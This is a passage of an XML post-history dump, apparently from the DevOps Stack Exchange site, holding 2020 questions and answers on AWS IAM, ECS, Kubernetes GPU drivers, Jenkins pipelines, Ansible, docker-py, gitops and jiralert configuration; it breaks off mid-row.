  <row Id="35403" PostHistoryTypeId="2" PostId="11562" RevisionGUID="35f39e02-0ee4-4c75-ae47-08cdb197461e" CreationDate="2020-05-09T10:24:42.453" UserId="20042" Text="The only way to manage `IAM` users - using appropriate account with `IAM Administrator` privileges.&#xD;&#xA;&#xD;&#xA;See [AWS Identity and Access Management](https://docs.aws.amazon.com/IAM/latest/UserGuide/getting-started_create-admin-group.html)&#xD;&#xA;If you lost your root account, you may contact an `AWS` support, see [Recover Your AWS Account Password](https://aws.amazon.com/premiumsupport/knowledge-center/recover-aws-password/?cu-additional-resource)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35404" PostHistoryTypeId="2" PostId="11563" RevisionGUID="701be4d0-8095-4e30-9d29-e999d1b1b13c" CreationDate="2020-05-09T12:51:35.897" UserId="16004" Text="Honestly, I'm confused your question. It's meant to prevent git pull IAM user for specific repository or something else?&#xD;&#xA;&#xD;&#xA;Here is example of how to deny policy for specific repository that can be attached to your IAM users.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot; : [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot; : &quot;Deny&quot;,&#xD;&#xA;          &quot;Action&quot; : [&#xD;&#xA;            &quot;codecommit:*&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;Resource&quot; : [&#xD;&#xA;            &quot;arn:aws:codecommit:us-east-2:111111111111:myrepo&quot;&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="35405" PostHistoryTypeId="2" PostId="11564" RevisionGUID="3eb1e83d-f8c8-4943-ae33-825f0047988d" CreationDate="2020-05-09T12:57:22.757" UserId="16004" Text="I think you want to setup Blue/Green deployment type for ECS. As Blue/Green deployment, there should be one environment (**Blue**) should exist before deploying another environment called **Green**. As it's your first project or first ECS services, there is no prior environment thus we cannot choose Blue/Green deployment in deployment type." ContentLicense="CC BY-SA 4.0" />
  <row Id="35406" PostHistoryTypeId="2" PostId="11565" RevisionGUID="a7252c7b-f01c-451f-ac4e-e241eb739429" CreationDate="2020-05-09T13:11:16.047" UserId="10599" Text="I think that it might help to distinguish between a &quot;release&quot; and a &quot;release candidate&quot;. If you really have shipped a version of software to other people and it is 'totally broken' then something went really very badly wrong. To avoid this opensource projects have milestone release and snapshot release (aka &quot;nighly releases&quot; or &quot;freshly releases&quot;). These try to flush out critical failures through pre-release public testing. Once the risk of shipping something totally broken has passed then the software is tagged as the final release. After that, if there are bugs, and there always are bugs, then it is a matter of issuing advisories and warning folks about bad old versions within release notes.  &#xD;&#xA;&#xD;&#xA;For example, spring.io [releases](https://search.maven.org/artifact/org.springframework/spring-core) are versioned something like &quot;5.2.5.RELEASE&quot;. We might expect that they have a &quot;5.2&quot; branch and that they had many release candidate builds on that branch. In fact they have actually have two special repos for milestone releases and snapshot releases as [described here](https://www.baeldung.com/spring-maven-repository). These approximate to beta releases and alpha releases. &#xD;&#xA;&#xD;&#xA;If you are not releasing software to other people to run, but are running the software as a service yourself, then your option 3 may work well: &#xD;&#xA;&#xD;&#xA;&gt; (3) Do no save information about release problems: just deploy a new stable, patched version to production and never look back.&#xD;&#xA;&#xD;&#xA;This approach can work well if you are a building a web-app or mobile backend based product. The internal software at large firms like global banks will typically use this approach. In fact, I have worked on many systems at both banks and startups over two decades and we only ever used this approach in practice. &#xD;&#xA;&#xD;&#xA;I should mention that your Git server might have a &quot;latest release feature&quot;. Both GitHub and GitHub Enterprise have this. Even if you release via a build pipeline to some artefact repository it can still be helpful to make a &quot;release&quot; within the Git server so that an API call to something like `GET /repos/:owner/:repo/releases/latest` API will return details of the latest version including the git tag that should match the release version. Your deployment piplien can then pull the corresponding prebuilt code from the artefact server to deploy. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35407" PostHistoryTypeId="5" PostId="9738" RevisionGUID="f74f9339-7638-4b35-abba-9ff205ae34df" CreationDate="2020-05-09T15:34:10.250" UserId="1180" Comment="grammar corrections" Text="I have setup a kubernetes node with a Nvidia Tesla k80 and followed [this tutorial][1] to try to run a pytorch docker image with Nvidia drivers and CUDA drivers working.&#xD;&#xA;&#xD;&#xA;I have managed to install the nvidia daemonsets and I can now see the following pods: &#xD;&#xA;```&#xD;&#xA;nvidia-driver-installer-gmvgt&#xD;&#xA;nvidia-gpu-device-plugin-lmj84&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that even while using the recommended image `nvidia/cuda:10.0-runtime-ubuntu18.04` I still can't find the Nvidia drivers inside my pod:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@pod-name-5f6f776c77-87qgq:/app# ls /usr/local/&#xD;&#xA;bin  cuda  cuda-10.0  etc  games  include  lib  man  sbin  share  src&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the tutorial mentions:&#xD;&#xA;&#xD;&#xA;&gt;CUDA libraries and debug utilities are made available inside the container at `/usr/local/nvidia/lib64` and `/usr/local/nvidia/bin`, respectively.&#xD;&#xA;&#xD;&#xA;I have also tried to test if CUDA was working through `torch.cuda.is_available()` but I get False as a return value.&#xD;&#xA;&#xD;&#xA;Many thanks in advance for your help.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/how-to/gpus" ContentLicense="CC BY-SA 4.0" />
  <row Id="35408" PostHistoryTypeId="24" PostId="9738" RevisionGUID="f74f9339-7638-4b35-abba-9ff205ae34df" CreationDate="2020-05-09T15:34:10.250" Comment="Proposed by 1180 approved by 210 edit id of 1201" ContentLicense="CC BY-SA 4.0" />
  <row Id="35409" PostHistoryTypeId="5" PostId="9738" RevisionGUID="ac706830-bd58-4043-85e9-341046a38e90" CreationDate="2020-05-09T15:38:38.023" UserId="210" Comment="deleted 41 characters in body; edited title" Text="I have setup a kubernetes node with a Nvidia Tesla k80 and followed [this tutorial][1] to try to run a pytorch docker image with Nvidia drivers and CUDA drivers working.&#xD;&#xA;&#xD;&#xA;I have managed to install the nvidia daemonsets and I can now see the following pods: &#xD;&#xA;```&#xD;&#xA;nvidia-driver-installer-gmvgt&#xD;&#xA;nvidia-gpu-device-plugin-lmj84&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that even while using the recommended image `nvidia/cuda:10.0-runtime-ubuntu18.04` I still can't find the Nvidia drivers inside my pod:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@pod-name-5f6f776c77-87qgq:/app# ls /usr/local/&#xD;&#xA;bin  cuda  cuda-10.0  etc  games  include  lib  man  sbin  share  src&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the tutorial mentions:&#xD;&#xA;&#xD;&#xA;&gt;CUDA libraries and debug utilities are made available inside the container at `/usr/local/nvidia/lib64` and `/usr/local/nvidia/bin`, respectively.&#xD;&#xA;&#xD;&#xA;I have also tried to test if CUDA was working through `torch.cuda.is_available()` but I get False as a return value.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/how-to/gpus" ContentLicense="CC BY-SA 4.0" />
  <row Id="35410" PostHistoryTypeId="4" PostId="9738" RevisionGUID="ac706830-bd58-4043-85e9-341046a38e90" CreationDate="2020-05-09T15:38:38.023" UserId="210" Comment="deleted 41 characters in body; edited title" Text="Why do the CUDA drivers not work on GPU NVDIA GKE nodes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35411" PostHistoryTypeId="8" PostId="9738" RevisionGUID="c0f1ce94-25e6-4ea8-bc41-f438730ae092" CreationDate="2020-05-09T15:55:28.890" UserId="210" Comment="Rollback to [f74f9339-7638-4b35-abba-9ff205ae34df]" Text="I have setup a kubernetes node with a Nvidia Tesla k80 and followed [this tutorial][1] to try to run a pytorch docker image with Nvidia drivers and CUDA drivers working.&#xD;&#xA;&#xD;&#xA;I have managed to install the nvidia daemonsets and I can now see the following pods: &#xD;&#xA;```&#xD;&#xA;nvidia-driver-installer-gmvgt&#xD;&#xA;nvidia-gpu-device-plugin-lmj84&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that even while using the recommended image `nvidia/cuda:10.0-runtime-ubuntu18.04` I still can't find the Nvidia drivers inside my pod:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;root@pod-name-5f6f776c77-87qgq:/app# ls /usr/local/&#xD;&#xA;bin  cuda  cuda-10.0  etc  games  include  lib  man  sbin  share  src&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the tutorial mentions:&#xD;&#xA;&#xD;&#xA;&gt;CUDA libraries and debug utilities are made available inside the container at `/usr/local/nvidia/lib64` and `/usr/local/nvidia/bin`, respectively.&#xD;&#xA;&#xD;&#xA;I have also tried to test if CUDA was working through `torch.cuda.is_available()` but I get False as a return value.&#xD;&#xA;&#xD;&#xA;Many thanks in advance for your help.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/kubernetes-engine/docs/how-to/gpus" ContentLicense="CC BY-SA 4.0" />
  <row Id="35412" PostHistoryTypeId="7" PostId="9738" RevisionGUID="c0f1ce94-25e6-4ea8-bc41-f438730ae092" CreationDate="2020-05-09T15:55:28.890" UserId="210" Comment="Rollback to [f74f9339-7638-4b35-abba-9ff205ae34df]" Text="GKE - GPU nvidia - cuda drivers dont work" ContentLicense="CC BY-SA 4.0" />
  <row Id="35413" PostHistoryTypeId="10" PostId="9738" RevisionGUID="12152a44-ccf9-4eab-943c-945dc919c8d8" CreationDate="2020-05-09T15:58:02.967" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="35414" PostHistoryTypeId="5" PostId="11521" RevisionGUID="39eaaf49-6a13-45c7-96ae-6df4d701ff5b" CreationDate="2020-05-09T17:14:04.867" UserId="10599" Comment="clarifications based on comments about which code is where" Text="We have several C# applications using a shared monolithic database (on-premise SQL server) using Stored Procedures as an exclusive interface.&#xD;&#xA;The C# code repositories include only Stored Procedures that are relevant to them, which means a single database is split into multiple repositories.&#xD;&#xA;&#xD;&#xA;We are currently using a shared DEV environment restored from production (after some modification to sensitive data, etc.)&#xD;&#xA;&#xD;&#xA;I want to move to our version control being a single source of truth and put the whole database into one repository so I can generate empty DB for each developer (that would allow me to unit test, etc.)&#xD;&#xA;&#xD;&#xA;But that would create problems for developers: they would have to keep a branch of their app and branch of a database in sync and coordinate extensively.&#xD;&#xA;&#xD;&#xA;How to solve this without moving the apps back into monolith as well?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35419" PostHistoryTypeId="2" PostId="11567" RevisionGUID="136443cc-a1a1-46ca-ab83-e9fc518c39c4" CreationDate="2020-05-09T22:18:08.140" UserId="14930" Text="If you have Jenkins user public key, on your target hosts authorized keys file, for the user you want to login as, ssh connection authorization should work. &#xD;&#xA; &#xD;&#xA;This is an example of Jenkinsfile step. &#xD;&#xA;```&#xD;&#xA;ansiblePlaybook colorized: true, installation: 'Ansible', inventory: 'inventory', playbook: 'playbook.yml',tags: &quot;&quot; , skippedTags: &quot;&quot;, extras: &quot;--extra-vars ' hst=targetHost &quot;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is Ansible Inventory example. You can define the args at the host level as well.&#xD;&#xA;```&#xD;&#xA;[targetHost]&#xD;&#xA;17.14.69.21 ansible_ssh_user=sshuser&#xD;&#xA;&#xD;&#xA;[all:vars]&#xD;&#xA;ansible_connection=ssh&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no -oHostKeyAlgorithms=+ssh-dss'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35422" PostHistoryTypeId="2" PostId="11568" RevisionGUID="748a9252-20c6-44b6-93a2-571ffefb05c7" CreationDate="2020-05-10T05:39:00.227" UserId="22199" Text="I was looking into a similar use case and found this github issue in the terraform public repo:&#xD;&#xA;https://github.com/terraform-providers/terraform-provider-aws/issues/629&#xD;&#xA;&#xD;&#xA;As quoted in that issue:&#xD;&#xA;&quot;Indeed it does seem like the Terraform AWS provider would need to do something special to make this work. As I noted in my other comment, we don't consider Terraform to be an interactive tool in general and so introducing extra interactive input in the apply phase is not ideal.&quot;&#xD;&#xA;&#xD;&#xA;https://github.com/terraform-providers/terraform-provider-aws/issues/629#issuecomment-408937315&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35426" PostHistoryTypeId="2" PostId="11570" RevisionGUID="7b9850fe-61f6-4566-ba75-63f81789fe00" CreationDate="2020-05-10T12:28:11.807" UserId="22205" Text="How do I know that an Azure Devops Extension does not do anything really bad?&#xD;&#xA;&#xD;&#xA;A company that I know of uses Microsoft's Azure Devops platform to manage its software development.&#xD;&#xA;&#xD;&#xA;Microsoft also offers a &quot;marketplace&quot; where one can get extensions (plugins); third-party software that provides additional features meant to make the platform more useful.&#xD;&#xA;&#xD;&#xA;This is helpful, but is there way a to know what such an extension actually does and does not? Can be absolutely 100% certain it does not send any information anywhere? Or changes anything?&#xD;&#xA;&#xD;&#xA;**Example**: Azure Devops does a poor job of listing all your git repositories, so there are extensions which does that for you. On installing such an extension, it asks for permission for &quot;Code (read)&quot;. From a security point of view, that looks like a yuuuge red flag it's a third-party piece of software that has read access to all the source code in the project. &#xD;&#xA;&#xD;&#xA;Now, that's only dangerous if it can also reach the outside world, as long as it cannot send any information at all about my code anywhere, I'm safe.&#xD;&#xA;&#xD;&#xA;But can I be certain of that? Am I guaranteed that&#xD;&#xA;&#xD;&#xA; - It cannot connect to site or service outside the project&#xD;&#xA; - It cannot connect to or talk to other extensions&#xD;&#xA; - It cannot change its permissions through extension updates.&#xD;&#xA;&#xD;&#xA;In short: Can an Azure Devops Extension be determined to be secure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35427" PostHistoryTypeId="1" PostId="11570" RevisionGUID="7b9850fe-61f6-4566-ba75-63f81789fe00" CreationDate="2020-05-10T12:28:11.807" UserId="22205" Text="Is there a way to tell if an Azure Devops Extension is secure to use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35428" PostHistoryTypeId="3" PostId="11570" RevisionGUID="7b9850fe-61f6-4566-ba75-63f81789fe00" CreationDate="2020-05-10T12:28:11.807" UserId="22205" Text="&lt;azure&gt;&lt;security&gt;&lt;permissions&gt;&lt;azure-marketplace&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35429" PostHistoryTypeId="2" PostId="11571" RevisionGUID="dc5665e7-a4a3-48b0-9a39-383262e8a79c" CreationDate="2020-05-10T14:18:14.070" UserId="20031" Text="Got answer from StackOverflow and here is the [link][1] to the answer.&#xD;&#xA;&#xD;&#xA;    stage('Test') {&#xD;&#xA;        parallel {&#xD;&#xA;            stage(&quot;Test_A&quot;) { &#xD;&#xA;                stages {&#xD;&#xA;                    stage(&quot;Tests_A&quot;) { steps { echo 'from A' } } &#xD;&#xA;                    stage(&quot;Archieve&quot;) { steps { echo 'from Archieve' } }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage(&quot;Test_B&quot;) {&#xD;&#xA;                ...&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            ... and so on&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/61702811/it-is-not-allowed-to-use-stages-more-than-once-jenkins-declarative-pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="35430" PostHistoryTypeId="5" PostId="11553" RevisionGUID="1543225b-9997-4e18-88ef-3f71aed842f6" CreationDate="2020-05-10T14:20:00.567" UserId="20031" Comment="deleted 15 characters in body" Text="I am completely new to the jenkins pipeline. I'm trying to create a project with multiple stages but in my `Import` stage , I want to execute `parallel`. For each `stage` in `parallel` , I have again multiple `stages`. I'm trying the following way, but getting syntax error as `It is not allowed to use stages more than once`.Can someone correct me how to achieve this, I have tried some online resources but unable to get clear syntax.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;          steps {&#xD;&#xA;            echo 'from build'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;        stage('Test_A') {&#xD;&#xA;          parallel {&#xD;&#xA;            stages(&quot;GUI&quot;) { stage(&quot;Tests_A&quot;) { steps {echo 'from A'}} stage(&quot;Archive&quot;) {echo 'from Publish' } }&#xD;&#xA;            stages(&quot;API&quot;) { stage(&quot;Tests_B&quot;) {steps {echo 'from B'} } }&#xD;&#xA;            stages(&quot;CLI&quot;) {  stage(&quot;Tests_C&quot;) {steps {echo 'from C'} }}&#xD;&#xA;            &#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;I want to create something like this&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/aV4iP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35434" PostHistoryTypeId="2" PostId="11573" RevisionGUID="9f57c947-8e9a-480c-9ab5-81c25ce1fd67" CreationDate="2020-05-10T19:45:54.223" UserId="707" Text="Consider the following setup.&#xD;&#xA;&#xD;&#xA;Precondition: have a healthy image i.e. service starts up.&#xD;&#xA;&#xD;&#xA;E.g.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -d IMAGE&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, with the Python plugin docker-py, consider the following code which should be equivalent, only with added port mapping.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ingreedy = client.containers.create(&quot;openfoodbroker/ingreedy.service&quot;, &#xD;&#xA;                                     name=&quot;ingreedy_service&quot;,&#xD;&#xA;                                     detach=True,&#xD;&#xA;                                     ports={'5000': 5000})&#xD;&#xA;print(ingreedy.id)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This code prints out the container ID and I can remove the container using ```docker rm -f```, but:&#xD;&#xA;&#xD;&#xA;* port 5000 is not open;&#xD;&#xA;* the container does not show up on ```docker ps```&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35435" PostHistoryTypeId="1" PostId="11573" RevisionGUID="9f57c947-8e9a-480c-9ab5-81c25ce1fd67" CreationDate="2020-05-10T19:45:54.223" UserId="707" Text="Strange behaviour with docker-py" ContentLicense="CC BY-SA 4.0" />
  <row Id="35436" PostHistoryTypeId="3" PostId="11573" RevisionGUID="9f57c947-8e9a-480c-9ab5-81c25ce1fd67" CreationDate="2020-05-10T19:45:54.223" UserId="707" Text="&lt;docker&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35437" PostHistoryTypeId="2" PostId="11574" RevisionGUID="32b55215-1275-4092-a303-3ae0e6e97718" CreationDate="2020-05-10T22:39:23.240" UserId="22206" Text="i'm trying to do gitops &#xD;&#xA;&#xD;&#xA;I have a Configuration repo containing k8 manifests and different app repos. &#xD;&#xA;&#xD;&#xA;1) App repo's CI build docker images and pushes into registry.&#xD;&#xA;&#xD;&#xA;2) App repo's CI commits into Configuration repo with newly built image tags.&#xD;&#xA;&#xD;&#xA;A gitops CD like ArgoCD is listening to configuration repo and deploys(manual/automatic) it to kubernetes.&#xD;&#xA;&#xD;&#xA;Is this the right way to do it ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35438" PostHistoryTypeId="1" PostId="11574" RevisionGUID="32b55215-1275-4092-a303-3ae0e6e97718" CreationDate="2020-05-10T22:39:23.240" UserId="22206" Text="What is the way to update images in a configuration git repository when doing gitops?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35439" PostHistoryTypeId="3" PostId="11574" RevisionGUID="32b55215-1275-4092-a303-3ae0e6e97718" CreationDate="2020-05-10T22:39:23.240" UserId="22206" Text="&lt;kubernetes&gt;&lt;git&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35440" PostHistoryTypeId="2" PostId="11575" RevisionGUID="98717a2c-e959-48d4-bf5e-52cb76660810" CreationDate="2020-05-10T23:14:06.967" UserId="17579" Text="`docker.containers.create()` is [documented](https://docker-py.readthedocs.io/en/stable/containers.html) to:&#xD;&#xA;&#xD;&#xA;&gt; Create a container without starting it. Similar to `docker create`.&#xD;&#xA;&#xD;&#xA;Either call `docker.containers.run()` instead, or given the container object returned from `create()`, call `ingreedy.start()`.&#xD;&#xA;&#xD;&#xA;(`docker ps` by default only shows running containers; `docker ps -a` should show the container in a &quot;created&quot; state.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35444" PostHistoryTypeId="6" PostId="11508" RevisionGUID="038f36f4-e1ba-4d4e-9f97-8883e943a796" CreationDate="2020-05-11T07:32:27.487" UserId="21993" Comment="edited tags" Text="&lt;amazon-ecs&gt;&lt;fargate&gt;&lt;amazon-efs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35445" PostHistoryTypeId="2" PostId="11577" RevisionGUID="4a2d7a47-0bbb-48af-ae2e-863953c9ddbd" CreationDate="2020-05-11T07:34:17.110" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="35446" PostHistoryTypeId="1" PostId="11577" RevisionGUID="4a2d7a47-0bbb-48af-ae2e-863953c9ddbd" CreationDate="2020-05-11T07:34:17.110" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="35447" PostHistoryTypeId="2" PostId="11578" RevisionGUID="20fb625d-529c-4cfb-aedc-9b5dd6f9fc89" CreationDate="2020-05-11T07:34:17.110" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="35448" PostHistoryTypeId="1" PostId="11578" RevisionGUID="20fb625d-529c-4cfb-aedc-9b5dd6f9fc89" CreationDate="2020-05-11T07:34:17.110" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="35449" PostHistoryTypeId="5" PostId="11462" RevisionGUID="997377c5-d4ab-414f-9ca1-3cadf7f393a5" CreationDate="2020-05-11T07:36:52.917" UserId="21993" Comment="added 3 characters in body; edited tags" Text="When starting up an Amazon ECS task with launch type FARGATE it fails with the following reason:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ResourceInitializationError: failed to invoke EFS utils commands to set up EFS volumes: command failed with 32: failed to execute command to invoke EFS utils: mount.nfs4:&#xD;&#xA;&#xD;&#xA;Connection timed out&#xD;&#xA;```&#xD;&#xA;The fargate task is a docker image that needs to mount EFS as persistent storage. &#xD;&#xA;&#xD;&#xA;Why is the connection timing out?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35450" PostHistoryTypeId="6" PostId="11462" RevisionGUID="997377c5-d4ab-414f-9ca1-3cadf7f393a5" CreationDate="2020-05-11T07:36:52.917" UserId="21993" Comment="added 3 characters in body; edited tags" Text="&lt;amazon-ecs&gt;&lt;fargate&gt;&lt;amazon-efs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35451" PostHistoryTypeId="5" PostId="11560" RevisionGUID="e00ff961-fc94-406f-abc1-5b7e556790fa" CreationDate="2020-05-11T08:42:55.567" UserId="17329" Comment="added 81 characters in body" Text="I have no programmatic access for the user who created the cluster only graphical.&#xD;&#xA;I tried a lot of things and I always get access denied on kubectl as I have to use another IAM identity that has programmatic access.&#xD;&#xA;I assume there is some trick with STS but I don't have the access keys of the root account.&#xD;&#xA;I guess if I give graphic access to the IAM identity that I want to use, it will work out, but I want to know if there is a way with my current situation. Also using the aws-cli is not an option for creation in the given scenario.&#xD;&#xA;The admin who created my user won't allow my federated IAM to have access keys." ContentLicense="CC BY-SA 4.0" />
  <row Id="35452" PostHistoryTypeId="2" PostId="11579" RevisionGUID="de870366-f625-47db-8581-c1030514b1ba" CreationDate="2020-05-11T08:47:59.247" UserId="17329" Text="As said in the question summary, the issue is that I have created an EKS cluster from IAM user that doesn't have programmatic access. I have tried what I have suggested as scenario that I would like to avoid.&#xD;&#xA;Only solution in this case was to create another IAM identity that will create the cluster and give it programmatic access.&#xD;&#xA;As I am a federated user from OKTA, I have admin rights but using the console on the created identity is a security bridge, so I have allowed it only to login, create the cluster and then disabled the console access.&#xD;&#xA;The from the newly created identity I could use kubectl to control the cluster and add other IAM identities from the auth configmap." ContentLicense="CC BY-SA 4.0" />
  <row Id="35453" PostHistoryTypeId="5" PostId="11544" RevisionGUID="48973361-0585-449b-8262-3607da065fe5" CreationDate="2020-05-11T08:50:39.990" UserId="17329" Comment="added 146 characters in body; edited tags; edited title" Text="Following the base instructions I can't create new Jira item through API request due to failing because of trying to create labels. Even if I am using  add_group_labels: false it tries to create label anyway, isn't this option supposed to disable this behavior? From what I read I need to allow the user to create labels through rest api, but I just don't want the albels on the ticket.&#xD;&#xA;&#xD;&#xA;Testing with:&#xD;&#xA;curl -H &quot;Content-type: application/json&quot; -X POST -d '{&quot;receiver&quot;: &quot;prometheus-customer-non-production&quot;, &quot;status&quot;: &quot;firing&quot;, &quot;alerts&quot;: [{&quot;status&quot;: &quot;firing&quot;, &quot;labels&quot;: {&quot;alertname&quot;: &quot;TestAlert&quot;, &quot;key&quot;: &quot;value&quot;} }], &quot;groupLabels&quot;: {&quot;alertname&quot;: &quot;TestAlert&quot;}}' http://xx.x.xxx.xx:9097/alert&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;{&quot;Error&quot;:true,&quot;Status&quot;:500,&quot;Message&quot;:&quot;JIRA request https://customer.atlassian.net/rest/api/2/issue returned status 400 Bad Request, body \&quot;{\\\&quot;errorMessages\\\&quot;:[],\\\&quot;errors\\\&quot;:{\\\&quot;labels\\\&quot;:\\\&quot;Field 'labels' cannot be set. It is not on the appropriate screen, or unknown.\\\&quot;}}\&quot;&quot;}&#xD;&#xA;&#xD;&#xA;Here is the configuration jiralert.yaml:&#xD;&#xA;```&#xD;&#xA;# Global defaults, applied to all receivers where not explicitly overridden. Optional.&#xD;&#xA;defaults:&#xD;&#xA;  # API access fields.&#xD;&#xA;  api_url: https://customer.atlassian.net&#xD;&#xA;  user: 'example@customer.com'&#xD;&#xA;  password: 'customerpassword'&#xD;&#xA;&#xD;&#xA;  # The type of JIRA issue to create. Required.&#xD;&#xA;  issue_type: Alert&#xD;&#xA;  # Issue priority. Optional.&#xD;&#xA;  # priority: Low&#xD;&#xA;  # Go template invocation for generating the summary. Required.&#xD;&#xA;  summary: '{{ template &quot;jira.summary&quot; . }}'&#xD;&#xA;  # Go template invocation for generating the description. Optional.&#xD;&#xA;  description: '{{ template &quot;jira.description&quot; . }}'&#xD;&#xA;  # State to transition into when reopening a closed issue. Required.&#xD;&#xA;  reopen_state: &quot;To Do&quot;&#xD;&#xA;  # Do not reopen issues with this resolution. Optional.&#xD;&#xA;  wont_fix_resolution: &quot;Won't Fix&quot;&#xD;&#xA;  # Amount of time after being closed that an issue should be reopened, after which, a new issue is created.&#xD;&#xA;  # Optional (default: always reopen)&#xD;&#xA;  reopen_duration: 0h&#xD;&#xA;&#xD;&#xA;# Receiver definitions. At least one must be defined.&#xD;&#xA;receivers:&#xD;&#xA;    # Must match the Alertmanager receiver name. Required.&#xD;&#xA;  - name: 'prometheus-customer-non-production'&#xD;&#xA;    # JIRA project to create the issue in. Required.&#xD;&#xA;    project: customer&#xD;&#xA;    # Copy all Prometheus labels into separate JIRA labels. Optional (default: false).&#xD;&#xA;    add_group_labels: false&#xD;&#xA;&#xD;&#xA;# File containing template definitions. Required.&#xD;&#xA;template: jiralert.tmpl&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Below you can find versions info: &#xD;&#xA;&#xD;&#xA;Package release utilized -&gt; https://github.com/prometheus-community/jiralert/releases/download/1.0/jiralert-1.0.linux-amd64.tar.gz&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cat /etc/*-release&#xD;&#xA;DISTRIB_ID=Ubuntu&#xD;&#xA;DISTRIB_RELEASE=18.04&#xD;&#xA;DISTRIB_CODENAME=bionic&#xD;&#xA;DISTRIB_DESCRIPTION=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.2 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl version&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, 